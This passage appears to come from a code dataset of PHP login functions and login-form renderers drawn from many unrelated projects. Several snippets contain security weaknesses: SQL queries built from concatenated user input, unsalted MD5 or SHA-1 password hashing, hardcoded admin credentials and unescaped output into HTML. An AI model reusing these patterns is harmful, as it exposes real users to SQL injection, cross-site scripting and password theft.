set\n\t\t\t\t\t$_SESSION['fullname']=$data['user_firstname'].\" \".$data['user_lastname'];//session variable is set\n\t\t\t\t\theader(\"Location:index.php\");//redirect to another page\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\techo '<script> alert(\"Password is incorrect\"); </script>';//js alert is shown\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\techo '<script> alert(\"Username is incorrect\"); </script>';//js alert for username incorrect\n\t\t\t}\n\t\t}\n\t}", "public function login() {\n $messages = $this->messages;\n require_once $this->root_path_views.\"login.php\";\n }", "function showLoginForm() {\n}", "function login() {\n $this->checkAccess('user',true,true);\n\n\n $template = new Template;\n echo $template->render('header.html');\n echo $template->render('user/login.html');\n echo $template->render('footer.html');\n\n //clear error status\n $this->f3->set('SESSION.haserror', '');\n }", "function login()\n{\n\n}", "public function login(){\r\n if(IS_POST){\r\n //判断用户名,密码是否正确\r\n $managerinfo=D('User')->where(array('username'=>$_POST['username'],'pwd'=>md5($_POST['pwd'])))->find();\r\n if($managerinfo!==null){\r\n //持久化用户信息\r\n session('admin_id',$managerinfo['id']);\r\n session('admin_name', $managerinfo['username']);\r\n $this->getpri($managerinfo['roleid']);\r\n //登录成功页面跳到后台\r\n $this->redirect('Index/index');\r\n }else{\r\n $this->error('用户名或密码错误',U('Login/login'),1);\r\n }\r\n return;\r\n }\r\n $this->display();\r\n }", "public function loginForm()\n {\n\n if (isset($_SESSION['login_ss'])) {\n header('location: http://localhost/nhi_mvc/index/students');\n exit();\n }\n $this->view->render(\"login/login\");\n }", "public function p_login() {\n\t$_POST['password'] = sha1(PASSWORD_SALT.$_POST['password']);\n\n\t# Prevent SQL injection attacks by sanitizing user entered data\n\t$_POST = DB::instance(DB_NAME)->sanitize($_POST);\n\n\t$q = \"SELECT token\n\tFROM users\n\tWHERE email = '\".$_POST['email'].\"'\n\tAND password = '\".$_POST['password'].\"'\n\t\";\n\n\t$token = DB::instance(DB_NAME)->select_field($q);\n\n\t#login failed\n\tif($token == \"\" || $_POST['email'] == \"\" || $_POST['password'] == \"\"){\n\n\n\n\tRouter::redirect(\"/users/login/error\");\n\t# send back to login page - should add indication what went wrong\n\t}\n\t#login successful\n\telse{\t\n\n\t\techo \"if we find a token, the user is logged in. Token:\".$token;\n\n\t\t#store token in a cookie\n\t\tsetcookie(\"token\", $token, strtotime('+2 weeks'), '/');\n\n\t\t#send them to the main page\n\t\tRouter::redirect(\"/issues\");\n\n\t\t#token name value and how long should last\n\t\t#send back to index page\n\t\t#authenticate baked into base controller\n\t\t#gets users credentials this->user->firstname\n\t}\n}", "public function login() {\r\n if (!empty($_POST)) {\r\n $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);\r\n $password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);\r\n\r\n $hash = hash('sha512', $password . Configuration::USER_SALT);\r\n unset($password);\r\n\r\n $user = UserModel::getByUsernameAndPasswordHash($username, $hash);\r\n unset($hash);\r\n\r\n if ($user) {\r\n Session::set('user_id', $user->user_id);\r\n Session::set('username', $username);\r\n Session::set('ip', filter_input(INPUT_SERVER, 'REMOTE_ADDR'));\r\n Session::set('ua', filter_input(INPUT_SERVER, 'HTTP_USER_AGENT', FILTER_SANITIZE_STRING));\r\n\r\n Misc::redirect('');\r\n } else {\r\n $this->set('message', 'Nisu dobri login parametri.');\r\n sleep(1);\r\n }\r\n }\r\n }", "public function loginAction()\n {\n // Instantiate the form that asks the user to log in.\n $form = new Application_Form_LoginForm();\n\n // Initialize the error message to be empty.\n $this->view->formResponse = '';\n\n // For security purposes, only proceed if this is a POST request.\n if ($this->getRequest()->isPost())\n {\n // Process the filled-out form that has been posted:\n // if the input values are valid, attempt to authenticate.\n $formData = $this->getRequest()->getPost();\n if ($form->isValid($formData))\n {\n if ( $this->_authenticate($formData) )\n {\n $this->_helper->redirector('index', 'index');\n }\n }\n }\n\n // Render the view.\n $this->view->form = $form;\n }", "function login() \n\t{\n // Specify the navigation column's path so we can include it based\n // on the action being rendered\n \n \n // check for cookies and if set validate and redirect to corresponding page\n\t\t$this->viewData['navigationPath'] = $this->getNavigationPath('users');\n\t\t$this->renderWithTemplate('users/login', 'MemberPageBaseTemplate');\n\t\t\n }", "public function login(){\n\t\t$this->user = $this->user->checkCredentials();\n\t\t$this->user = array_pop($this->user);\n\t\tif($this->user) {\n\t\t\t$_SESSION['id'] = $this->user['id'];\n\t\t\t$_SESSION['name'] = $this->user['name'];\n\t\t\t$_SESSION['admin'] = $this->user['admin'];\n\t\t\t$this->isAdmin();\n\t \t\theader('location: ../view/home.php');\n\t \t\texit;\n\t \t}\n\t\t$dados = array('msg' => 'Usuário ou senha incorreto!', 'type' => parent::$error);\n\t\t$_SESSION['data'] = $dados;\n\t\theader('location: ../view/login.php');\n \t\texit;\n\t}", "public function formLogin() {\n $this->view->addForm();\n }", "function LoginForm($login = NULL, $pass = NULL, $logout=NULL )\n {\n //echo '<br> $this->session_id='.$this->session_id;\n if ( !$this->login ){\n ?>\n <div id=\"enterLA\">\n <?\n $this->Form->WriteFrontHeader( 'Login',_LINK.'login.html', NULL, NULL );\n $this->Form->Hidden('referer_page', $_SERVER['REQUEST_URI']);\n $this->Form->Hidden('whattodo', 2);\n ?>\n <div class=\"line left\">\n\t\t\t <input type=\"text\" id=\"login\" class=\"login right\" name=\"login\" autocomplete=\"off\" value=\"<?=$login?>\" />\n\t\t\t <label class=\"labelLA tah12 right\" for=\"login\"><?=$this->multi['FLD_LOGIN'];?>:</label>\n </div>\n <div class=\"line left\">\n\t\t\t <input type=\"password\" id=\"pass\" class=\"pass right\" autocomplete=\"off\" name=\"pass\" value=\"\"/>\n\t\t\t <label class=\"labelPA tah12 right\" for=\"\"><?=$this->multi['FLD_PASSWORD'];?>:</label>\n </div>\n\t\t\t<input class=\"butA\" type=\"submit\" name=\"button\" value=\"<?=$this->multi['TXT_FRONT_NEXT'];?>\" class=\"tah12 orange logBut\" />\n <?\n $this->Form->WriteFrontFooter();\n ?>\n </div>\n <?\n\n }\n else {\n $this->email = $this->GetUserAlias();\n ?>\n <div id=\"enterOA\">\n\t\t <span class=\"LLA tah12 right\"><?=$this->multi['TXT_WELCOME_USER']?>, <span class=\"orange\"><?=$this->email;?></span></span>\n <a class=\"LPA right orange\" href=\"<?=_LINK;?>logout.html\" title=\"<?=$this->multi['TXT_LOGOUT'];?>\"><?=$this->multi['TXT_LOGOUT'];?></a>\n </div>\n <?\n }\n }", "public function login() {\n\t\tif(!empty(Session::get('http_response'))) {\n\t\t\thttp_response_code(Session::get('http_response'));\n\t\t\tSession::delete('http_response');\n\t\t}\n\t\tif($_POST && isset($_POST['login']) && isset($_POST['password'])) {\n\t\t\t$user = $this->_model->getLogin(strtolower($_POST['login']));\n\t\t\tif($user && $user->enabled) {\n\t\t\t\tif(hash_equals($user->password,crypt($_POST['password'],$user->password))) {\n\t\t\t\t\tif($user->blocked) {\n\t\t\t\t\t\thttp_response_code(403);\n\t\t\t\t\t\tSession::setMessage(array('alert'=>'warning','icon'=>'exclamation','text'=>\"User is blocked\"));\n\t\t\t\t\t} elseif($user->verified) {\n\t\t\t\t\t\tSession::set('user',$user);\n\t\t\t\t\t\tSession::setMessage(array('alert'=>'success','icon'=>'check','text'=>\"User has logged in successfully\"));\n\t\t\t\t\t\t$redirect = Session::get('login_redirect');\n\t\t\t\t\t\tRouter::redirect(Session::get('login_redirect'));\n\t\t\t\t\t} else {\n\t\t\t\t\t\thttp_response_code(401);\n\t\t\t\t\t\tSession::setMessage(array('alert'=>'warning','icon'=>'exclamation','text'=>\"User is not yet confirmed\"));\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\thttp_response_code(401);\n\t\t\t\t\tSession::setMessage(array('alert'=>'danger','icon'=>'ban','text'=>\"Invalid login name or password\"));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\thttp_response_code(401);\n\t\t\t\tSession::setMessage(array('alert'=>'danger','icon'=>'ban','text'=>\"Invalid login name or password\"));\n\t\t\t}\t\n\t\t}\n\t}", "public function checkLogin() {\r\n\t\t$post = $this -> sanitize();\r\n\t\textract($post);\r\n\t\t// Hash the password that was entered into the form (if it was correct, it will match the hashed password in the database)\r\n\t\t$password = sha1($password);\r\n\t\t// Query\r\n\t\t$query = \"SELECT username, userID, profilePic, access, email FROM users WHERE username='$username' AND password='$password'\";\r\n\t\t$data = $this -> singleSelectQuery($query);\r\n\t\tif($data){\r\n\t\t\t//set up the session\r\n\t\t\t$_SESSION['userID'] = $data['userID'];\r\n\t\t\t$_SESSION['username'] = $data['username'];\r\n\t\t\t$_SESSION['profilePic'] = $data['profilePic'];\r\n\t\t\t$_SESSION['userType'] = $data['userType'];\r\n\t\t\t$_SESSION['access'] = $data['access'];\r\n\t\t\t//redirects to their profile\r\n\t\t\theader('location: index.php?page=profile&userID='.$_SESSION['userID']);\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t}", "public function login()\n\t{\n\t\t// Method should not be directly accessible\n\t\tif( $this->uri->uri_string() == 'auth/login')\n\t\t\tshow_404();\n\n\t\tif($this->require_min_level(6) == 1)\n\t\t\tredirect('');\n\n\t\tif(strtolower( $_SERVER['REQUEST_METHOD'] ) == 'post')\n\t\t\t$this->require_min_level(1);\n\n\t\t$this->setup_login_form();\n\n\t\t$html = $this->load->view('auth/page_header', '', TRUE);\n\t\t$html .= $this->load->view('auth/login_form', '', TRUE);\n\t\t$html .= $this->load->view('auth/page_footer', '', TRUE);\n\n\t\techo $html;\n\t}", "public function loginAction() : object\n {\n $title = \"Logga in\";\n\n // Deal with incoming variables\n $user = getPost('user');\n $pass = getPost('pass');\n $pass = MD5($pass);\n\n if (hasKeyPost(\"login\")) {\n $sql = loginCheck();\n $res = $this->app->db->executeFetchAll($sql, [$user, $pass]);\n if ($res != null) {\n $this->app->session->set('user', $user);\n return $this->app->response->redirect(\"content\");\n }\n }\n\n // Add and render page to login\n $this->app->page->add(\"content/login\");\n return $this->app->page->render([\"title\" => $title,]);\n }", "public function login()\n\t{\n\t\t$this->load->helper('form');\n\t\t$this->data['page']['pageTitle']=\"Log in member\";\n\t\t$this->data['header'] = $this->load->view('templates/header', $this->data, true);\n\t\t$this->data['footer'] = $this->load->view('templates/footer', '', true);\n\t\t$this->load->view('templates/login', $this->data);\n\t}", "public function loginAction(){\n\t\t$form = new Admin_Form_FormLogin();\n\t\t\n\t\tif($this->_request->isPost()){\n\t\t\t$data = $this->_request->getPost();\n\t\t\tif($form->isValid($data)){\n\t\t\t\t$modelUser = new Admin_Model_User();\n\t\t\t\tif($modelUser->login($data['Username'], $data['Password'])){\n\t\t\t\t\t$this->_redirect($this->view->url(array('module' => 'admin', 'controller' => 'index', \n\t\t\t\t\t\t\t'action' => 'index'), null, true));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->view->form = $form;\n\t}", "public function access() {\n \tif ($_SERVER['REQUEST_METHOD'] === 'POST') {\n\n \t\t$user = Auth::login($_POST['email'], $_POST['pw']);\n \t\tif($user) {\n \t\t\tApp::redirect('dashboard');\n \t\t}\n\t\t\tSession::set('_old_input', $_POST);\n\t\t\tSession::set('_errors', ['login' => \"Email y/o password incorrectos.\"]);\n\t\t\tApp::redirect('login');\n\n \t}\n\n }", "public function login()\n {\n $this->form_validation->set_rules($this->validation_rules);\n \n // If the validation worked, or the user is already logged in\n if ($this->form_validation->run() || $this->isAdmin() == true)\n {\n\n //The Form is valid so the user is recorded into the CI session via _checkLogin()\n redirect('admin/pages');\n }else{\n\n // Invalid form so it is redisplayed containing your data\n $this->aData['sTitle'] = \"Administration du site web\";\n $this->aData['sBaseURL'] = $this->sBaseUrl;\n $aNav[] = anchor('agence_web', 'Retournez sur le site');\n\n $this->template->set_title(\"Administration du site web\")\n ->set_menu($aNav)\n ->build('admin/login_view', $this->aData);\n }\n }", "public function login(){\n\n }", "function loginme() \n\t{\n // on the action being rendered\n \n\t\t$email=$_POST['email'];\n\t\t$password=$_POST['password'];\n\t\t$rememberme=(isset($_POST['rememberme']))?$_POST['rememberme']:\"no\";\n\t\t\n\t\t//$email=ValidateUtility::checkInput($_POST['email'],\"Enter a Valid Email\",\"email\");\n\t\t//$password=ValidateUtility::checkInput($_POST['password'],\"Enter a Valid Password\",\"text\");\n\t\t\tViewHelper::LogString(\"Login Me - Test\");\n\t\t\t\t\n\t\t\t$this->autoLogin($email, $password, $rememberme);\n\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t}", "public function action_login() {\n if(model_user::userLoggedIn()) {\n header('Location: /home/track');\n }\n // Checks email and passwordfor validation.\n if (isset($_POST['form']['action'])) {\n\n // Saving form values in variables.\n $form_data = array(\n 'login_email' => $_POST['form']['user'],\n 'login_password' => $_POST['form']['password'],\n );\n\n $user_login = model_user::getByEmail( $form_data['login_email']);\n $user_email = $user_login->email;\n\n // Caching the form errors.\n $form_error = array(\n 'no_email' => empty($form_data['login_email']) ? \"Please insert your email!\" : FALSE,\n 'no_password' => empty($form_data['login_password']) ? \"Please insert your password!\" : FALSE,\n 'wrong_email' => ($user_email != $form_data['login_email']) ? \"Wrong e-mail!\" : FALSE,\n 'wrong_password' => (!empty($form_data['login_password']) && $user_login->password) ? \"Wrong password!\" : FALSE,\n );\n if ($user_email === $form_data['login_email'] && $user_login->checkPassword($form_data['login_password'])) {\n $_SESSION['user'] = $user_email;\n $_SESSION['id'] = $user_login->id;\n header('Location: /home/track');\n }\n }\n @include_once APP_PATH . 'view/home_index.tpl.php';\n }", "public function actionLogin()\n {\n $this->layout = '/login';\n $manager = new Manager(['userId' => UsniAdaptor::app()->user->getId()]);\n $userFormDTO = new UserFormDTO();\n $model = new LoginForm();\n $postData = UsniAdaptor::app()->request->post();\n $userFormDTO->setPostData($postData);\n $userFormDTO->setModel($model);\n if (UsniAdaptor::app()->user->isGuest)\n {\n $manager->processLogin($userFormDTO);\n if($userFormDTO->getIsTransactionSuccess())\n {\n return $this->goBack();\n }\n }\n else\n {\n return $this->redirect($this->resolveDefaultAfterLoginUrl());\n }\n return $this->render($this->loginView,['userFormDTO' => $userFormDTO]);\n }", "public function login()\n {\n\t\tif(isset($_POST['email']) && isset($_POST['senha'])){\n\t\t\t\n\t\t\t//verifica se os $_POST estão vazios\n\t\t\tif(empty($_POST['email']) && empty($_POST['senha'])){\n\t\t\t\theader('Location: /admin?inputvazio=true');\n\t\t\t\treturn true;\n }\n \n $login = Container::getModel('admin');\n $login->setEmail($_POST['email']);\n $login->setSenha($_POST['senha']);\n\n //se a senha e o e-mail é o mesmo do banco\n if($login->login()){\n //cria as sessões\n session_start();\n $_SESSION['logado'] = true;\n $_SESSION['id'] \t= $login->getId();\n $_SESSION['nome'] \t= $login->getNome();\n $_SESSION['nivelAcesso'] \t= $login->geNivelAcesso();\n header('Location: /dashboard');\n }else{\n header('Location: /admin?logado=false');\n }\n }\n }", "public function loginAction(){\n\t\t\n\t\tZend_Loader::loadClass(\"UserLogin\", array(FORMS_PATH));\n\t\t$error = $this->getRequest()->getQuery(\"error\");\n\t\t$session = new Zend_Session_Namespace(\"capitalp\");\t\n\t\tif ($session->manager_id){\n\t\t\theader(\"Location:/portfolio/\");\n\t\t}\n\t\t\n\t\t$form = new UserLogin();\n\t\t$this->view->form = $form;\n\t\t\n\t\tif ($error){\n\t\t\tif ($error==1){\n\t\t\t\t$this->view->error = \"Invalid Request. Please try again\";\n\t\t\t}else if ($error==2){\n\t\t\t\t$this->view->error = \"Invalid Username/Password. Please try again\";\n\t\t\t}\n\t\t}else{\n\t\t\t$this->view->error = \"\";\n\t\t}\n\t\t$this->view->headTitle(\"Login\");\n\t\t$this->view->headScript()->prependFile( \"http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery.validate.js\", $type = 'text/javascript' );\t\t\n\t\t$this->view->headScript()->prependFile( \"/public/js/users/login.js\", $type = 'text/javascript' );\n\t\t$this->_helper->layout->setLayout(\"html5_plain\");\n\t}", "function LoginForm2($login = NULL, $pass = NULL, $logout=NULL )\n {\n //echo '<br> $this->session_id='.$this->session_id;\n if ( !$this->login ){\n $this->Form->WriteFrontHeader( 'Login', 'login.php', NULL, NULL );\n $this->Form->Hidden('referer_page', $_SERVER['REQUEST_URI']);\n $this->Form->Hidden('whattodo', 2);\n ?>\n <h4><?=$this->Msg->show_text('TXT_FRONT_LOGIN_FORM');?></h4>\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\" class=\"left_column\">\n <tr>\n <td class=\"left_column\"><b><?=$this->Msg->show_text('FLD_LOGIN');?>:</b></td>\n <td class=\"left_column\"><?=$this->Form->TextBox( 'login', $login, 'size=\"20\"' );?></td>\n </tr>\n <tr>\n <td class=\"left_column\"><b><?=$this->Msg->show_text('FLD_PASSWORD');?>:</b></td>\n <td class=\"left_column\"><?=$this->Form->Password( 'pass', NULL, '20' );?></td>\n\n </tr>\n <tr>\n <td colspan=\"2\" class=\"left_column\"><?=$this->Form->ShowButton($this->Msg->show_text('_TXT_LOGIN'), \"#\", 'class=\"login\"', \"Login.submit();\");?>\n <br>\n <div id=\"login2\"><a href=\"login.php?task=reg\" class=\"a01\"><?=$this->Msg->show_text('TXT_FRONT_REGISTRATION');?></a>\n <br><a href=\"forgot_pass.php\" class=\"a01\"><?=$this->Msg->show_text('TXT_FRONT_FORGOT_PASS');?></a>\n </div>\n </td>\n </tr>\n </table>\n <input type=\"image\" src=\"/images/design/spacer.gif\"/>\n <div class=\"line_grey\"></div>\n <?\n $this->Form->WriteFrontFooter();\n }\n else {\n $this->email = $this->GetUserAlias();\n $User = new User();\n $id_user = $User->GetUserIdByEmail($this->login);\n ?>\n <h4><?=$this->Msg->show_text('TXT_FRONT_MEMBER_PROFILE');?></h4>\n <?=$this->Form->ShowButtonProfile( $this->Msg->show_text('TXT_FRONT_MY_DATINGBOX'), $href=\"box.php\", \"width=220\" )?>\n <?=$this->Form->ShowButtonProfile( $this->Msg->show_text('TXT_FRONT_EDIT_MY_FAVORITES'), $href=\"myfavorites.html\", \"width=220\" )?>\n <?=$this->Form->ShowButtonProfile( $this->Msg->show_text('TXT_FRONT_SHOW_MY_PROFILE'), $href=\"profile.php?task=show_profile&amp;profile=$id_user\", \"width=220\" )?>\n <?=$this->Form->ShowButtonProfile( $this->Msg->show_text('TXT_FRONT_EDIT_MY_PROFILE'), $href=\"profile.php?task=profile\", \"width=220\" )?>\n <?=$this->Form->ShowButtonProfile( $this->Msg->show_text('TXT_FRONT_TRANSLATE_TEXT'), $href=\"translate.html\", \"width=220\" )?>\n <table border=\"0\" cellpadding=\"10\" cellspacing=\"0\" width=\"100%\" align=\"center\">\n <tr>\n <td class=\"left_column\">\n <?\n $User= new UserShow();\n $id_user = $User->GetUserIdByEmail($this->login);\n\n $img = $User->GetMainImage($id_user, 'front');\n if (!empty($img)) {\n $class=\"img_main_man\";\n ?><div id=\"<?=$class;?>\"><?$User->ShowImage($img, $id_user, 'size_auto=100', '100', NULL, 'border=0');?></div><?\n }\n ?>\n </td>\n <td width=\"100%\" class=\"left_column\">\n <b><?=$User->GetNameUserGrp($this->user_type);?></b>\n <?if (!empty($this->email)) {\n ?><br/><b><?=$this->email;?></b><?\n }\n ?>\n <?\n $this->Form->ShowButton($this->Msg->show_text('_TXT_LOGOUT'), \"login.php?logout=1\", 'class=\"login\"');\n ?>\n </td>\n </tr>\n </table>\n <div class=\"line_grey\"></div>\n\n <?\n }\n return true;\n }", "private function login(){\n\t\tif (empty($_POST['username'])) {\n\t\t\t$this->errors[] = \"Username field was empty.\";\n } elseif (empty($_POST['password'])) {\n $this->errors[] = \"Password field was empty.\";\n } elseif (!empty($_POST['username']) && !empty($_POST['password'])) { \n\t\t\t$this->username = filter_var($_POST['username'], FILTER_SANITIZE_STRING);\t\t\t\n \t\n\t\t\t//prepared statement to login user\n\t\t\t$sel = \"SELECT * FROM users WHERE username = ? OR email = ? \";\n \tif($stmt = $this->connection->prepare($sel)){\n \t\t$stmt->bind_param(\"ss\", $this->username, $this->username);\n \t\t$stmt->execute();\n \t\t//$stmt->bind_result();\n \t\t$res = $stmt->get_result();\n \t\t$user_info = $res->fetch_object();\n \t}\n\t\t\t\t\t\t\t\t\t\n\t\t\tif (password_verify($_POST['password'], $user_info->password)) {\n\t\t\t\t$_SESSION['username'] = $user_info->username;\n\t\t\t\t$_SESSION['email'] = $user_info->email;\n\t\t\t\t$_SESSION['user_login_status'] = 1;\n\t\t\t} else if(empty($user_info)){\n\t\t\t\t$this->errors[] = \"Wrong User name. Please try again\";\n\t\t\t} else {\n\t\t\t\t$this->errors[] = \"Wrong password. Please try again\";\n\t\t\t}\n\t\t}\n\t}", "function login()\r\n{\r\n append_content(\"<h2>Login</h2>\");\r\n\r\n // var_dump($_POST);\r\n\r\n if (!empty($_POST['Submit']) && ($_POST['Submit']==\"Login\"))\r\n {\r\n //authenticate User\r\n if (empty($_POST['username']) || empty($_POST['password']))\r\n {\r\n append_content(\"<h3 id='error'> Empty Username or Password </h3>\");\r\n append_content(DisplayLoginForm());\r\n }\r\n else\r\n {\r\n $username = Security::Sanitize_Text($_POST['username']);\r\n $password = Security::Sanitize_Text($_POST['password']);\r\n // echo $username.\" \".$password;\r\n $user = new User($username,$password);\r\n\r\n\r\n $uid = $user->GetUserID();\r\n\r\n\r\n if ($uid)\r\n {\r\n $_SESSION['userid'] = $uid;\r\n $_SESSION['username'] = $username;\r\n URL::Redirect('home');\r\n }\r\n else\r\n {\r\n append_content(\"<h3 id='error'> Login Failed! </h3>\");\r\n append_content(DisplayLoginForm());\r\n }\r\n }\r\n }\r\n else\r\n {\r\n append_content(DisplayLoginForm());\r\n }\r\n}", "public function loginAction()\r\n\t{\r\n\t\r\n\t\t$post_back = $this->request->getParam( \"postback\" );\r\n\t\t$config_https = $this->registry->getConfig( \"SECURE_LOGIN\", false, false );\r\n\t\r\n\t\t// if secure login is required, then force the user back thru https\r\n\t\r\n\t\tif ( $config_https == true && $this->request->uri()->getScheme() == \"http\" )\r\n\t\t{\r\n\t\t\t$uri = $this->request->uri();\r\n\t\t\t$uri->setScheme('https');\r\n\t\r\n\t\t\treturn $this->redirect()->toUrl((string) $uri);\r\n\t\t}\r\n\t\r\n\t\t### remote authentication\r\n\t\r\n\t\t$result = $this->authentication->onLogin();\r\n\t\r\n\t\tif ( $result == Scheme::REDIRECT )\r\n\t\t{\r\n\t\t\treturn $this->doRedirect();\r\n\t\t}\r\n\t\r\n\t\t### local authentication\r\n\t\r\n\t\t// if this is not a 'postback', then the user has not submitted the form, they are arriving\r\n\t\t// for first time so stop the flow and just show the login page with form\r\n\t\r\n\t\tif ( $post_back == null ) return 1;\r\n\t\r\n\t\t$bolAuth = $this->authentication->onCallBack();\r\n\t\r\n\t\tif ( $bolAuth == Scheme::FAILED )\r\n\t\t{\r\n\t\t\t// failed the login, so present a message to the user\r\n\t\r\n\t\t\treturn array(\"error\" => \"authentication\");\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn $this->doRedirect();\r\n\t\t}\r\n\t}", "function login() {\n\n $results = array();\n $results['pageTitle'] = \"Admin Login | Ape Blog\";\n\n if ( isset( $_POST['login'] ) ) {\n\n // User hat was in die Login Form eingegeben, und die Eingabe wird überprüft\n if ( $_POST['username'] == ADMIN_USERNAME && $_POST['password'] == ADMIN_PASSWORD ) {\n\n // Wenn der Login erfolgreich ist, wird eine Session erstellt und man wird zum Adminbereich weitergeleitet\n $_SESSION['username'] = ADMIN_USERNAME;\n header( \"Location: admin.php\" );\n\n } else {\n\n // Wenn der Login fehlgeschlagen ist, wird eine Fehlermeldung angezeigt.\n $results['errorMessage'] = \"Falscher Username oder Passwort. Versuch noch mal.\";\n require( TEMPLATE_PATH . \"/admin/loginForm.php\" );\n }\n\n } else {\n\n // Ansonten wird die Loginform angezeigt.\n require( TEMPLATE_PATH . \"/admin/loginForm.php\" );\n }\n\n}", "public function login()\n {\n\t\t$printUsername = $this->cookieService->load($this->inputUsername);\n\n\t\t$body = \"\n\t\t\t\t<form action='?action=\".NavigationView::$actionShowProfile.\"' class='form-signin' method='post'>\n\t\t\t\t\t <h2 class='form-signin-heading'>Please sign in</h2>\n\t\t\t\t\t\t<input type='text' class='form-control input-lg marginb' placeholder='Username' id=$this->username name=$this->username value='$printUsername' required autofocus>\n\t\t\t\t\t\t<input type='password' class='form-control input-lg marginb' placeholder='Password' id=$this->password name=$this->password required>\n\t\t\t\t\t\t<label class='checkbox'>\n <input type='checkbox' id=$this->remember name=$this->remember> Remember me\n </label>\n <div class='row'>\n <div class='col-lg-6'>\n <a href='?action=\".NavigationView::$actionRegister.\"' class='btn btn-primary btn-block'>Register</a>\n </div>\n <div class='col-lg-6'>\n <button type='submit' name=$this->login class='btn btn-primary btn-block'>Sign in</button>\n </div>\n </div>\n\t\t\t\t</form>\";\n\n\t\treturn $body;\n\t}", "public function loginAction()\n {\n $form = new LoginForm();\n\n try {\n\n if (!$this->request->isPost()) {\n\n if ($this->auth->hasRememberMe()) {\n return $this->auth->loginWithRememberMe();\n }\n } else {\n\n if ($form->isValid($this->request->getPost()) == false) {\n foreach ($form->getMessages() as $message) {\n $this->flash->error($message);\n }\n } else {\n\n $this->auth->check([\n 'email' => $this->request->getPost('email'),\n 'password' => $this->request->getPost('password'),\n 'remember' => $this->request->getPost('remember')\n ]);\n\n // return $this->response->redirect('index');\n return $this->response->redirect('campaign/dashboardcamp');\n }\n }\n } catch (AuthException $e) {\n $this->flash->error($e->getMessage());\n }\n\n $this->view->form = $form;\n }", "function procLogin() {\n global $session, $form;\n /* Login attempt */\n $retval = $session->login($_POST['user'], $_POST['pass'], isset($_POST['remember']));\n /* Login successful */\n if ($retval) {\n header(\"Location: \" . $session->referrer);\n }\n /* Login failed */ else {\n $_SESSION['value_array'] = $_POST;\n $_SESSION['error_array'] = $form->getErrorArray();\n header(\"Location: \" . $session->referrer);\n }\n }", "public static function printLoginForm() {\n\t\t\tif($_GET['module'] != \"login\"){\n\t\t\t\t$cur_page = $_SERVER[\"REQUEST_URI\"];\n\t\t\t\t$cur_page = str_replace(\"/index.php\", \"\", $cur_page);\n\t\t\t\t$_SESSION['ref'] = $cur_page; \n\t\t\t}\n\t\t\t// The user is not logged in shown the login form\n\t\t\tinclude 'engine/values/site.values.php';\n\t\t\techo \"<form action=\\\"?module=handler&action=login\\\" method=\\\"post\\\">\n\t\t\t <div class=\\\"form_settings\\\" style=\\\"float:right; position:relative; left: -24%;\\\">\n\t\t\t \t<center><h2>\".strip_tags($site_title).\" - Login</h2></center>\n\t\t\t \t<br>\n\t\t\t \t<p><span>Email</span><input type=\\\"text\\\" name=\\\"user\\\" tabindex=\\\"1\\\" class=\\\"contact\\\"/></p>\n\t\t\t <p><span>Password</span><input type=\\\"password\\\" name=\\\"password\\\" tabindex=\\\"2\\\" class=\\\"contact\\\"/></p>\n\t\t\t <p style=\\\"padding-top: 15px\\\"><span>&nbsp;</span><input class=\\\"submit\\\" type=\\\"submit\\\" name=\\\"contact_submitted\\\" value=\\\"Submit\\\" /></p>\n\t\t\t <br><center>\";\n\t\t\t\tif($site_reg_open){\n\t \t\techo \"[<a href=\\\"?module=registration\\\">Register</a>]\";\n\t\t\t\t}\n\t\t\t echo \"[<a href=\\\"?module=handler&action=forgot\\\">Forgotten password?</a>]</center></div>\n\t\t\t</form>\";\n\t\t}", "function proLogin(){\n\t\t/* Initialize objects */\n\t\tglobal $session, $form;\n\t\t/* Login attempt */\n\t\t$retval = $session->loginUTS($_POST['login'], $_POST['password']);\n\t\t\n\t\t/* Login successful */\n\t\tif($retval){\n\t\t\theader(\"Location: \".$session->referrer);\n\t\t}\n\t\t/* Login failed */\n\t\telse{\n\t\t\t$_SESSION['value_array'] = $_POST;\n\t\t\t$_SESSION['error_array'] = $form->getErrorArray();\n\t\t\theader(\"Location: \".$session->referrer);\n\t\t}\n\t}", "public function login() {\n $login_err = \"<p class='flash_err'>\" . $this->_model->getFlash('login_err') . \"</p>\";\n $create_err = \"<p class='flash_err'>\" . $this->_model->getFlash('create_err') . \"</p>\";\n $create_success = \"<p class='flash_success'>\" . $this->_model->getFlash('create_success') . \"</p>\";\n $this->render('General.Login', compact('login_err', 'create_err', 'create_success'));\n }", "function login() {\n\t\t$this->getModule('Laravel4')->seeCurrentUrlEquals('/libraries/login');\n\t\t$this->getModule('Laravel4')->fillField('Bibliotek', 'Eksempelbiblioteket');\n\t\t$this->getModule('Laravel4')->fillField('Passord', 'admin');\n\t\t$this->getModule('Laravel4')->click('Logg inn');\n }", "public function handleLogin(){\n $username = htmlentities(trim($_POST['username']));\n $password = htmlentities(trim($_POST['password']));\n $loginSebagai = htmlentities(trim($_POST['login_sebagai']));\n\n $loginResult = WebDb::handleLogin($username,$password, $loginSebagai);\n\n if(!$loginResult) {\n Session::set(\"login_gagal\",\"Username atau password salah\");\n header(\"Location: /it-a\");\n die();\n }\n Session::set(\"user_id\",$username);\n Session::set(\"login_sebagai\",$loginSebagai);\n header(\"Location: /it-a/dashboard\");\n }", "public function login_user()\n\t{\n\t\t$form_filled = true;\n\n\t\t//a way to set default values\n\t\tif (isset($_POST['username']) && $_POST['username'] != \"\") \n\t\t{\n\t\t\t$username = $_POST[\"username\"];\n\t\t} else\n\t\t{\n\t\t\t$username = \"\";\n\t\t\t$form_filled = false;\n\t\t}\n\t\tif (isset($_POST['password']) && $_POST['password'] != \"\") \n\t\t{\n\t\t\t$password = $_POST[\"password\"];\n\t\t} else\n\t\t{\n\t\t\t$password = \"\";\n\t\t\t$form_filled = false;\n\t\t}\n\n\t\tif ($form_filled)\n\t\t{\n\t\t\t$table = 